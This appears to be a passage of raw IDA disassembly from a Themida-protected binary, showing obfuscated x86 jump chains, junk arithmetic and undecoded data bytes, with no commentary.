		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_551397
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 81D9F706h, 0F43ABEC1h, 7E9C139h, 0FFE9E2E9h,	2434FFFFh
		dd 0E9240C8Bh, 7EB9h, 4C89CE81h, 0EE810E52h, 4569F5F1h
		dd 0E8E9F789h, 5EFFFFD0h, 15AD789h, 2434FFF8h, 81243C8Bh
		dd 4C4h, 643BE900h, 2B80000h, 29000000h, 215EE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A0DA:				; CODE XREF: Themida_:0054859Cj
		push	ebp
		push	edi
		mov	edi, 20695144h
		and	edi, 2C704E47h
		shl	edi, 6
		neg	edi
		shr	edi, 4
		sub	edi, 34521464h
		add	edi, 90973702h
		push	edx
		jmp	loc_54CD9E
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0C1h
		dd 0ACFFFFFEh, 8041B753h, 0CAE993C7h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A113:				; CODE XREF: Themida_:00549175j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	edi
		push	462A350Fh
		jmp	loc_5518E1
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5A0424h, 895C2404h, 8B542434h, 0C4812434h,	4, 0A9685653h
		dd 5E2E707Ch, 0F705EEC1h, 0EF5CE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A15A:				; CODE XREF: Themida_:0054B280j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_550B5E
; ---------------------------------------------------------------------------
		dd 46856h, 0E95E0000h, 6CCCh
; ---------------------------------------------------------------------------

loc_54A17C:				; CODE XREF: Themida_:0054E65Cj
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5520CC
; ---------------------------------------------------------------------------

loc_54A194:				; CODE XREF: Themida_:0054A513j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 0
		jmp	loc_54A773
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFFDADE9h, 0C4BB53FFh, 0E9314684h, 7D27h
; ---------------------------------------------------------------------------

loc_54A1B4:				; CODE XREF: Themida_:00546DB9j
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 7D8A42B7h
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebp, 2
		jmp	loc_552018
; ---------------------------------------------------------------------------
		dw 0F8BAh
		dd 812C073Ah, 0CB4126CAh, 0CE07E942h, 0EC81FFFFh, 2, 3204E9h
		dd 0EF885A00h, 0F5C3E959h, 575BFFFFh, 0B02E2ABFh, 797AE933h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A20E:				; CODE XREF: Themida_:00549EABj
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_55017C
; ---------------------------------------------------------------------------

loc_54A219:				; CODE XREF: Themida_:0054B110j
		xor	esi, [esp]
		jmp	loc_547985
; ---------------------------------------------------------------------------

loc_54A221:				; CODE XREF: Themida_:00548714j
		push	ebp
		jmp	loc_54992E
; ---------------------------------------------------------------------------

loc_54A227:				; CODE XREF: Themida_:00548E4Cj
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 66E27F27h
		jmp	loc_5467DE
; ---------------------------------------------------------------------------
		dd 0C328E104h, 0E924048Bh, 5E69h, 7828E7BEh, 8BF0314Fh
		dd 0C4812434h, 4, 48CEE9h, 24348900h, 8DBBA52h,	83E96597h
		dd 66FFFFE6h, 0E9241489h, 0FFFFC3F0h, 0DDBEF81h, 69E9665Fh
		dd 8300001Dh, 148704C4h, 3DE95C24h, 0B1FFFFBEh,	237EE978h
		dd 1C300000h, 241C3224h, 0E9241C30h, 0FFFFBDA2h, 0E289525Fh
		dd 4BB53h, 0DA010000h, 4BF575Bh, 1000000h, 0E9525FFAh
		dd 0FFFFD046h, 8324148Bh, 895804C4h, 0E2815EF2h, 540374C9h
		dd 0FFCC18E9h, 8BFA01FFh, 0C481243Ch, 4, 83242C8Bh, 0C20104C4h
		dd 749BE9h, 242C3300h, 0E924248Bh, 0FFFFCC7Dh, 240C8B66h
		dd 0E9E28952h, 1EA8h, 4EA81h, 14870000h, 1C895C24h, 81E38924h
		dd 4C3h, 0D2BF5700h, 0E9576A32h, 0FFFFD163h, 8704C383h
		dd 815C241Ch, 30378AEBh, 81C30163h, 30378AC3h, 147A6863h
		dd 14890000h, 77C6BA24h, 0DAF7056Fh, 0FFD9AFE9h, 0BCF4E9FFh
		dd 5066FFFFh, 2474FF66h, 66586602h, 6624048Fh, 0F1686691h
		dd 0C896648h, 14F76624h, 66596624h, 66516650h, 641EE958h
		dd 34890000h, 57E68924h, 7782BA52h, 0B1E97C63h,	0BB00006Fh
		dd 4CF9123Bh, 0F91239BAh, 5BDA314Ch, 3269EB81h,	0D3016F85h
		dd 3269C381h, 21E96F85h, 0C1FFFFCEh, 83E908E2h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54A3AB:				; CODE XREF: Themida_:0054ED48j
		and	ebp, 720D40CBh
		dec	ebp
		sub	ebp, 825290B3h
		sub	edx, ebp
		jmp	loc_54A709
; ---------------------------------------------------------------------------
aQObjYsz	db 'Q¹Ïobj)ÏYé‡-',0
		dd 240C8700h, 0BC68E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A3D6:				; CODE XREF: Themida_:00547F62j
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 67BD5122h
		add	esi, 79650B07h
		add	esi, 57972235h
		sub	esi, 38B97E5Ah
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54A751
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 83000000h, 0FF5504EDh, 5D042474h, 675FE9h, 52E98100h
		dd 8100E333h, 82CF05F1h, 59CF0105h, 0FFF1CCE9h,	5A5452FFh
		dd 5E9DE9h, 0F3815B00h,	3B930124h, 5A2434FFh, 904C483h
		dd 815B1C5Fh, 4ECh, 241C8900h, 8B2434FFh, 0C483241Ch, 4EC8104h
		dd 89000000h, 0E189240Ch, 0FFFCDBE9h, 8E2C0FFh,	58E4E9h
		dd 4C48100h, 0E9000000h, 0FFFFBB96h, 0F181D1F7h, 87AE9474h
		dd 0F759CF89h, 26BB53DFh, 21164553h, 0DE8FE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A4C2:				; CODE XREF: Themida_:00551244j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4

loc_54A4DB:				; CODE XREF: Themida_:0054C965j
		push	ebx
		push	ecx
		push	edi
		mov	edi, esp
		jmp	loc_55101D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 33000000h, 14312414h, 24143324h, 242C895Ch, 0EBE3E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A4FE:				; CODE XREF: Themida_:0054C8B1j
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54A194
; ---------------------------------------------------------------------------
		dd 8924248Bh, 0E2892414h, 4BE56h, 0EA810000h, 48790695h
		dd 2FB9E9h, 242C8900h, 1FC2E954h, 0EC810000h, 4, 54243C89h
		dd 4C7815Fh, 68000000h,	5183h, 0E9241C89h, 5B42h, 6C2BF381h
		dd 0EAE94970h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A563:				; CODE XREF: Themida_:0054CF53j
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_551E0E
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 6C69B850h, 0B4BB7F0Dh, 312EB971h, 36858C3h, 89000027h
		dd 0BE562404h, 788E3DE9h, 519BE9h, 11EF8100h, 1BE871Eh
		dd 188BE9F9h, 81580000h, 4ECh, 24348900h, 2BEh,	5EF72900h
		dd 31243C33h, 3C33243Ch, 24248B24h, 6FEAE9h, 2F832D00h
		dd 0C3012CA8h, 0B60F6658h, 4245E900h, 0D8010000h, 5B2434FFh
		dd 4C481h, 0C3310000h, 191568h,	24048900h, 21BE5650h, 4623AC1Eh
		dd 9BCC681h, 0C6811F57h, 16396628h, 4F9C681h, 0F68115D4h
		dd 6D63996Dh, 89F18951h, 315E59C8h, 0E9042444h,	6E5Bh
		dd 405E089h, 55000000h,	0D14EE951h, 8B66FFFFh, 58682404h
		dd 8900003Ch, 9E9241Ch,	81000009h, 0D24A57C6h, 0BC6817Bh
		dd 0E9345D3Ch, 16D1h, 24048B66h, 55E28952h, 0FFD920E9h
		dd 0C8B66FFh, 0E36824h,	3C890000h, 41A4E924h, 0E3C10000h
		dd 0E8E38106h, 0E92B5868h, 695Eh, 83241C89h, 48904ECh
		dd 88D48824h, 4DE958E7h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A68B:				; CODE XREF: Themida_:0054ED07j
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_5476E7
; ---------------------------------------------------------------------------
		dw 9FE9h
		dd 89FFFFB9h, 4C781E7h,	0E9000000h, 532Dh, 74FF5158h, 0CCE90424h
		dd 6800004Dh, 49A6h, 0B0240489h, 569E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A6C6:				; CODE XREF: Themida_:00551094j
		mov	ebp, ebx
		pop	ebx
		pop	ecx
		sub	ebp, 7EAA5F6Ch
		sub	ebp, ecx
		add	ebp, 7EAA5F6Ch
		pop	ecx
		mov	edi, 0E892B631h
		add	edi, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_548DFB
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	248B2404h, 5082E924h, 0C3810000h
		dd 0CB909F8h, 3603E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A709:				; CODE XREF: Themida_:0054A3BAj
		pop	ebp
		shr	edx, 4
		sub	edx, 0EF0BBD0Ch
		add	ebx, 638735C6h
		jmp	loc_5508AD
; ---------------------------------------------------------------------------
		dw 0F289h
		dd 5AD3315Eh, 0FFB915E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A729:				; CODE XREF: Themida_:0054C31Dj
		pop	edi
		jmp	loc_547587
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B24048Fh, 34FF2424h, 240C8B24h, 0E9E08950h,	0FFFFD084h
; ---------------------------------------------------------------------------

loc_54A744:				; CODE XREF: Themida_:0054FF6Aj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54B8A0
; ---------------------------------------------------------------------------

loc_54A751:				; CODE XREF: Themida_:0054A42Cj
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_546569
; ---------------------------------------------------------------------------

loc_54A773:				; CODE XREF: Themida_:0054A19Ej
		or	eax, eax
		jz	loc_547706
		push	edx
		mov	edx, esp
		jmp	loc_54EED7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 59CD0104h, 288DE9h, 48B6600h, 3F216824h
		dd 34890000h, 0E9E68924h, 0FFFFF06Bh
; ---------------------------------------------------------------------------

loc_54A7A4:				; CODE XREF: Themida_:005522E5j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54DF2E
; ---------------------------------------------------------------------------
		db 0B6h
		dd 8BF430D8h, 0C4832414h, 8BE30004h, 89502404h,	405E0h
		dd 0C0830000h, 24048704h, 0FFEF0FE9h, 405FFh, 4870000h
		dd 0BB535C24h, 1F9632C1h, 51E9DBF7h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A7EF:				; CODE XREF: Themida_:00548968j
		add	eax, 150B5A9Eh
		add	eax, 2164EA4h
		add	eax, edi
		jmp	loc_551A4A
; ---------------------------------------------------------------------------
		dd 240C895Ch, 0ED800CB5h, 49F5802Fh, 3567E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A811:				; CODE XREF: Themida_:0054FA38j
		add	edi, ecx
		jmp	loc_54FB34
; ---------------------------------------------------------------------------

loc_54A818:				; CODE XREF: Themida_:005467D9j
		shl	ecx, 3
		inc	ecx
		add	ecx, 2227615Ah
		mov	eax, ecx
		pop	ecx
		jmp	loc_546F58
; ---------------------------------------------------------------------------
		dw 565Ch
		dd 42474FFh, 24048F5Eh,	0F24248Bh, 0B68C8B6h, 89000004h
		dd 0F7E9240Ch
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A847:				; CODE XREF: Themida_:0054F6ECj
		pop	ebx
		add	edi, 6D072B7h
		add	edi, eax
		sub	edi, 6D072B7h
		pop	eax
		jmp	loc_549C93
; ---------------------------------------------------------------------------
		dd 0B3241C89h, 0EF87E91Ah, 0C483FFFFh, 5DE90104h, 0FFD9C5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A871:				; CODE XREF: Themida_:00546376j
		mov	edx, 8EBC997h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edx, 1
		sub	edx, 1
		shr	edx, 4
		push	ebp
		mov	ebp, 6689BBh
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 2C271688h
		add	ebp, edx
		sub	ebp, 2C271688h
		mov	edx, [esp]
		jmp	loc_546491
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB786h
; ---------------------------------------------------------------------------

loc_54A8B8:				; CODE XREF: Themida_:00548E69j
		pop	edi
		push	56B6h
		mov	[esp], ecx
		push	edx
		push	53EA5D45h
		pop	edx
		jmp	loc_55175C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E886824h, 0C890000h, 0DCDAE924h, 0C683FFFFh, 24348704h
		dd 0EF805A5Ch, 0E9506637h, 0FFFFDB08h, 24148966h, 0E99C5066h
		dd 0C09h, 52242C8Bh, 1F2E9h, 0E6895600h, 4C681h, 0A8E90000h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A913:				; CODE XREF: Themida_:00547E8Ej
		add	edi, 589C6E99h
		xor	edi, 9CE8072Dh
		add	edx, edi
		jmp	loc_546B1C
; ---------------------------------------------------------------------------
		dw 8B05h
		dd 81115B6Bh, 0CF46F7E9h, 81C10155h, 0CF46F7C1h, 0BFBE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A93E:				; CODE XREF: Themida_:0054F3BFj
		mov	ebx, 6DBA39A1h
		sub	ebx, 36D10A5Fh
		push	0
		sub	[esp], ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54BFDC
; ---------------------------------------------------------------------------

loc_54A95F:				; CODE XREF: Themida_:0054FAD3j
		push	ebx
		mov	ebx, 4
		jmp	loc_54EA8E
; ---------------------------------------------------------------------------
		dw 487h
		dd 48F5C24h, 24248B24h,	0FFFAFAE9h, 240433FFh, 0E9240431h
		dd 0FFFFD383h, 764BC681h, 0DEF70997h, 773B850h,	0C601F45Dh
		dd 0FFDD80E9h, 24148BFFh, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 815C2414h, 4ECh, 242C8900h, 4BDh, 4761E900h,	4890000h
		dd 1365B824h, 0D0F75704h, 12D40h, 0A5E90000h, 83000068h
		dd 0CFE904C4h, 5500000Ah, 42474FFh, 5D2434FFh, 8F04C483h
		dd 248B2404h, 0C8B6624h, 4EC8124h, 89000000h, 69E92404h
		dd 0F7000054h, 53FD87D7h, 0B1FA6BBh, 0F7E3D142h, 54F381DBh
		dd 3165FDA4h, 0E5815BDDh, 14AF42EEh, 4082F581h,	0EF0100A7h
		dd 2C7835Dh, 5C243C87h,	0B96FE953h, 1C8BFFFFh, 78E95624h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AA3F:				; CODE XREF: Themida_:005503E9j
		inc	edi
		add	edi, 0D7AF0A8Dh
		and	eax, edi
		jmp	loc_547CFF
; ---------------------------------------------------------------------------
		db 1, 0C7h, 58h
		dd 3D61BE56h, 0E95069DCh, 29Dh,	16C0F181h, 0F74943CCh
		dd 0C4C181D1h, 0E9E0263Fh, 60E4h, 0DCF6B7B4h, 6C85E9h
		dd 4C78100h, 0E9000000h, 7959h
; ---------------------------------------------------------------------------

loc_54AA84:				; CODE XREF: Themida_:0054B217j
		push	edi
		mov	edi, 2AFD7130h
		and	edi, 151A6EF1h
		sub	edi, 0EAAA3727h
		add	eax, 34F94949h
		add	eax, edi
		jmp	loc_54B74B
; ---------------------------------------------------------------------------

loc_54AAA2:				; CODE XREF: Themida_:00548EB8j
		mov	ebp, 3005646Ch
		sub	ebp, 3F625768h
		sub	ebp, 0B25E96AFh
		jmp	loc_54AFA2
; ---------------------------------------------------------------------------
		dd 58F8EF81h, 295E1526h, 4EC81F7h, 89000000h, 85BA2414h
		dd 2949FB6Dh, 0EF815AD7h, 1D00558Bh, 8124348Bh,	4C4h, 57E9C300h
		dd 89FFFFB5h, 4BD242Ch,	1000000h, 0DAE95DE8h, 8900000Fh
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 2C3E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AB0D:				; CODE XREF: Themida_:0054F8E8j
		pop	esp
		mov	[esp], eax
		mov	eax, edx
		push	ebx
		jmp	loc_54CF9C
; ---------------------------------------------------------------------------
		db 0Fh,	0C8h, 68h
		dd 0D2Eh, 0E9240489h, 0FFFFE558h, 4BB535Fh, 1000000h, 241C8BDFh
		dd 8104C483h, 4C7h, 478EE900h, 8B660000h, 0E955240Ch, 78F4h
		dd 895E5556h, 636E9F3h,	0DC680000h, 89000037h, 5052241Ch
		dd 2BB247B0h, 0E958C228h, 3360h, 25E9DDF7h, 54000042h
		dd 0BC87E959h, 8F66FFFFh, 0B4BCE902h, 0BA52FFFFh, 2995412Fh
		dd 0E902EAC1h, 3E1Ah, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 575C2414h, 0EC2CFF68h, 0EF815F0Ch, 0CEC2CFDh, 335FFB01h
		dd 1C31241Ch, 0BC64E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ABBE:				; CODE XREF: Themida_:0054747Aj
		push	ecx
		push	edx
		pop	ecx
		mov	esi, ecx
		pop	ecx
		jmp	loc_5494BE
; ---------------------------------------------------------------------------
aXesE		db 9,'ÅXEéÆe',0
		align 2
aErIyScv	db 'ERº',0Ah
		db 'ëYÛ)Õé–v',0
		align 10h
a3414S_		db '[34$14$éÅ.',0
		align 4
		dd 2414895Ch, 2BAh, 5B40E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ABFA:				; CODE XREF: Themida_:0054FADBj
		mov	cl, 8Ch
		sub	esp, 4
		mov	[esp], eax
		push	681Bh
		mov	[esp], edx
		mov	dh, 0D0h
		mov	ah, dh
		mov	edx, [esp]
		jmp	loc_547B79
; ---------------------------------------------------------------------------
aFyxs?		db '(ËfYXé(?',0
		dw 8900h
		dd 405E0h, 0FFE90000h, 80000046h, 0C3000AC3h, 580AEB80h
		dd 167FE9h, 1BDBB800h, 312D69C4h, 8958C9ECh, 0F38158C3h
		dd 0D3E10E3h, 0E7D1F381h, 0DD8956A0h, 52FF685Bh, 3C890000h
		dd 4359BF24h, 1AE94E62h, 0E9FFFFE4h, 0FFFFB3CEh, 0E3C018B3h
		dd 5FE38006h, 57DCE9h, 2414F700h, 0FFC05EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AC85:				; CODE XREF: Themida_:0054B240j
		mov	[esp], ebp
		push	1
		pop	ebp
		and	eax, ebp
		jmp	loc_5462D3
; ---------------------------------------------------------------------------
		db 68h,	87h, 6
		dd 3C890000h, 827CBF24h, 0FD89B4E9h, 0E9243C8Bh, 0FFFFFBBAh
		dd 2404FF57h, 1EF835Fh,	0FE31F731h, 96E9F731h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ACBF:				; CODE XREF: Themida_:00551F58j
		inc	ecx
		inc	ecx
		dec	ecx
		shl	ecx, 4
		sub	ecx, 3FFFD7C6h
		and	edi, ecx
		pop	ecx
		add	edi, 0BD7FE6ECh
		add	esi, edi
		pop	edi
		jmp	loc_5510A4
; ---------------------------------------------------------------------------
		dd 6FDB68h, 24048900h, 4B8h, 1FAAE900h,	0E9500000h, 0FFFFE64Ch
		dd 0FFB345E9h, 6CC5B8FFh, 0DC254642h, 538A94Bh,	1DCA2E93h
		dd 0FFDE2DE9h, 66F028FFh, 6649FE68h, 0B2241489h, 892E935h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AD1E:				; CODE XREF: Themida_:005478AFj
		or	edx, eax
		shl	edx, 1
		push	edx
		push	ebp
		mov	ebp, 1
		jmp	loc_54D38E
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0A517F281h, 0D101BCE7h, 60DB2D5Ah, 0C8291668h, 6860DB05h
		dd 0D8015916h, 480D68h,	243C8900h, 31FBE9h, 4EE0BB00h
		dd 0DA892F20h, 8BD0015Bh, 0C4812414h, 4, 592434FFh, 81E38953h
		dd 4C3h, 0D4D5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AD7A:				; CODE XREF: Themida_:0054CF8Aj
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 44E75B5Eh
		and	ebx, 217A3D89h
		dec	ebx
		xor	ebx, 5B06AEFh
		add	eax, ebx
		pop	ebx
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54F940
; ---------------------------------------------------------------------------

loc_54ADB0:				; CODE XREF: Themida_:0054B222j
		not	edx
		xchg	eax, edx
		xor	[esp], eax
		jmp	loc_549B4D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0BC685055h, 0E90C3168h, 4EDh, 0E9242C87h, 111h, 0F324248Bh
		dd 386203A5h, 0C1B5E950h, 0E12DFFFFh, 56615C53h, 18DEE9h
		dd 0B685D00h, 8900006Dh, 768240Ch, 8B711652h, 4FE9240Ch
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ADFF:				; CODE XREF: Themida_:0054B0E5j
		pop	edi
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		jmp	loc_54FAEF
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 81h
		dd 4C5h, 4C58100h, 0E9000000h, 2A9Dh, 2BEh, 5EF78900h
		dd 61BCE951h, 0D9890000h, 0C1D1F75Bh, 0E94904E1h, 67C9h
		dd 8053E780h, 0C780FCE7h, 80CFFE25h, 51E98BE7h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE53:				; CODE XREF: Themida_:005518B9j
		sub	bl, dh
		sub	bl, 50h
		pop	edx
		movzx	eax, al
		jmp	loc_54CC28
; ---------------------------------------------------------------------------
aSkh		db '^éŠH',0
		dw 8100h
		dd 4ECh, 240C8900h, 544784B9h, 0F006E90Fh, 875EFFFFh, 0E95C243Ch
		dd 6C7Eh
; ---------------------------------------------------------------------------

loc_54AE84:				; CODE XREF: Themida_:0054F3AAj
		pop	edx
		add	bl, al
		push	dx
		jmp	loc_549049
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 0C80BE905h, 3068FFFFh, 89000005h, 0CDBE2434h, 50038708h
		dd 0FFDAE4E9h, 555F66FFh, 5D61BD66h, 81664566h,	6610A7E5h
		dd 9FBC581h, 550E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AEC1:				; CODE XREF: Themida_:0054DFA4j
		add	ecx, 58BD4361h
		not	ecx
		sub	ecx, 967E9A9Ah
		add	edx, ecx
		pop	ecx
		jmp	loc_546629
; ---------------------------------------------------------------------------
		db 66h
		dd 51240C8Bh, 5A79E9h, 4895C00h, 0B154E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AEEA:				; CODE XREF: Themida_:0054BA80j
		pop	edx
		jmp	loc_5508EF
; ---------------------------------------------------------------------------

loc_54AEF0:				; CODE XREF: Themida_:00551AABj
		mov	ebp, 15305D81h
		push	0D7Bh
		jmp	loc_54CFE0
; ---------------------------------------------------------------------------

loc_54AEFF:				; CODE XREF: Themida_:00546359j
		add	esp, 4
		and	eax, ebp
		pop	ebp
		jmp	loc_548076
; ---------------------------------------------------------------------------

loc_54AF0A:				; CODE XREF: Themida_:00548CB7j
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	edi
		push	7935h
		mov	[esp], edx
		mov	edx, 741E13B5h
		jmp	loc_54C8D2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5A545224h, 4C281h, 0EA830000h, 4EC8304h, 0E9241489h
		dd 0FFFFF1EEh, 5E08950h, 4, 8704E883h, 0E95C2404h, 2779h
; ---------------------------------------------------------------------------

loc_54AF58:				; CODE XREF: Themida_:00546B78j
		mov	[esp], eax
		push	50B10B84h
		pop	eax
		jmp	loc_54B367
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0B2682414h, 0E9000065h, 60CCh, 0FFB0C5E9h, 4C781FFh
		dd 87000000h, 895C243Ch, 0EE8DE9F9h, 0E989FFFFh, 8B59CA89h
		dd 0C483242Ch, 0D29E904h, 34330000h, 443AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AFA2:				; CODE XREF: Themida_:0054AAB3j
		add	ebx, 73914E68h
		add	ebx, ebp
		jmp	loc_54864A
; ---------------------------------------------------------------------------
		db 58h
		dd 4BA52h, 0D1010000h, 5A2434FFh, 4C481h, 0C870000h, 0ED2D5C24h
		dd 5620433Bh, 590C94BEh, 4B3CE96Ah, 0C1FE0000h,	2CE980h
		dd 4E9DE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AFE2:				; CODE XREF: Themida_:0054BA31j
		shl	ecx, 1
		sub	ecx, 4B908E12h
		sub	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 605B8Ah
		sub	edx, ebx
		pop	ebx
		jmp	loc_54603E
; ---------------------------------------------------------------------------

loc_54AFFB:				; CODE XREF: Themida_:0054870Ej
		sub	ebp, edi
		jmp	loc_549494
; ---------------------------------------------------------------------------

loc_54B002:				; CODE XREF: Themida_:0054B89Bj
		add	esp, 4
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	526Bh
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55244E
; ---------------------------------------------------------------------------
		db 0BEh, 0Bh, 6
		dd 0E681473Ch, 622076E4h, 12F2E9h, 24048B00h, 4211E950h
		dd 0EE000000h, 8AC68059h, 26BCE9h, 0E9F30100h, 0FFFFEBE4h
		dd 8304C483h, 0C8704E9h, 24248B24h, 89242C89h, 80BA52E5h
		dd 4266D85Fh, 73B9C281h, 0EAC16476h, 0D1C28104h, 1F34B12h
		dd 0ED815AD5h, 4, 8B242C87h, 14892424h,	3419E924h, 0EF810000h
		dd 4A032B05h, 4F3BC381h, 0FB0125A6h, 6ED9E9h, 0C4C78000h
		dd 0EF80F700h, 0F8005AC4h, 83241C8Bh, 0C38004C4h, 6FB2524Fh
		dd 0FFCF9AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B0D5:				; CODE XREF: Themida_:0054D3EBj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		jmp	loc_54ADFF
; ---------------------------------------------------------------------------
		dw 840Fh
		dd 0FFFFCA67h, 4F54EE81h, 0A6E901AAh
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B0FB:				; CODE XREF: Themida_:00546E01j
		mov	edx, 3506CE7h
		jmp	loc_54BB22
; ---------------------------------------------------------------------------

loc_54B105:				; CODE XREF: Themida_:00550ED8j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54A219
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 4Dh
		dd 8BFFFFFFh, 26E92414h, 59FFFFD1h, 6805E0D1h, 897BBAEFh
		dd 0F28158C2h, 47936A90h, 5602E2C1h, 2B8EE9h, 4EC8100h
		dd 0E9000000h, 52A6h, 0E9C0D9F6h, 0CEBFE908h, 15FFFFFh
		dd 242C8BEEh, 4C481h, 89560000h, 4C681E6h, 83000000h, 348704EEh
